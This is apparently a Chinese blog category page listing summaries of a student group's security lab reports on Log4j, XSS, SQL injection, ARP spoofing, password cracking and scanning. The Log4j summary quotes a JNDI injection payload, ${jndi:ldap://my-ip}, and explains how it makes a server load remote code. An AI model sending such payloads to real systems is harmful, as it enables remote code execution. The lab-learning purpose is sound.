笔记
文章平均质量分 57
噗通噗通~快乐打工
凭借一己之力打造了一个年轻貌美的搞笑女!
展开
-
漏洞检测之POC的学习
根据个人理解对POC漏洞验证进行小结。原创 2022-09-27 09:57:20 · 6758 阅读 · 1 评论 -
Apache log4j远程代码执行漏洞复现
Apache log4j远程代码执行漏洞复现(1) 漏洞原理:(2) 漏洞复现环境:(3) 漏洞复现过程:(1) 漏洞原理:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即当log4j打印的日志内容中包含${jndi:ldap://my-ip}时,lookup会将jndi注入可执行语句执行,程序会通过ldap协议访问my-ip这个地址,然后my-ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行,从而达成漏原创 2022-05-11 22:50:39 · 1836 阅读 · 0 评论 -
脚踏实地小组的实验四
...原创 2020-12-14 11:03:58 · 166 阅读 · 0 评论 -
脚踏实地小组的实验三
目录实验目的系统环境网络环境实验工具实验步骤XSS部分:利用Beef劫持被攻击者客户端浏览器SQL注入部分:DVWA+SQLmap+Mysql注入实战实验目的了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。系统环境Kali Linux 2、Windows Server网络环境交换网络结构实验工具Beef;AWVS(Acunetix Web Vu原创 2020-11-29 16:44:31 · 419 阅读 · 0 评论 -
脚踏实地小组的实验二
目录:前言实验目的:系统环境:网络环境:实验工具:一、网络嗅探网络嗅探:Wireshark 监听网络流量,抓包。ARP欺骗:ArpSpoof,实施ARP欺骗。FTP数据还原二、网站密码破解MD5破解John the Ripper的作用总结前言实验目的:1、通过使用Wireshark软件掌握Sniffer(嗅探器)工具的使用方法,实现捕捉HTTP等协议的数据包,以理解TCP/IP协议中多种协议的数据结构、通过实验了解HTTP等协议明文传输的特性。2、研究交换环境下的网络嗅探实现及防范方法,研究并利用A原创 2020-11-24 09:45:12 · 531 阅读 · 0 评论 -
脚踏实地小组的实验一
脚踏实地小组的 实验一实验目的:理解网络扫描、网络侦查的作用;通过搭建网络渗透测试平台,了解并熟悉常用的搜索引擎、扫描工具的应用,通过信息收集为下一步渗透工作打下基础。系统环境Kali Linux 2、Windows网络环境交换网络结构实验工具Metasploitable2(需自行下载虚拟机镜像);Nmap(Kali);WinHex、数据恢复软件等一、被动扫描1.用搜索引擎Google或百度搜索麻省理工学院网站中文包括“network security”的pdf文档2.照片信息搜原创 2020-11-06 20:49:28 · 1300 阅读 · 5 评论 -
脚踏实地小组的漏洞复现报告
脚踏实地小组的漏洞复现报告一、概述1.1项目背景织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的 PHP 开源网站管理系统,也是使用用户最多的 PHP 类 CMS 系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms 免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。 2018 年 1 月 10 日,锦行信息安全公众号公开了一个关于 DeDeCMS前台任意用原创 2020-11-04 15:23:00 · 374 阅读 · 0 评论 -
脚踏实地小组的抓包实验
脚踏实地小组的抓包实验使用工具的介绍Wireshark 是一个网络封包分析软件。网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。在本次实验中我们使用 Wireshark 对图片以及聊天记录进行位置分析。实验操作(1)抓获图片的位置(2)抓获聊天记录的位置我们在使用 Wireshark 抓包时没能准确的抓获图片的具体位置,不过我们通过自己的方式进行了位置分析,并准确的找到了该图片中所展现的地点。原创 2020-11-02 14:31:32 · 214 阅读 · 1 评论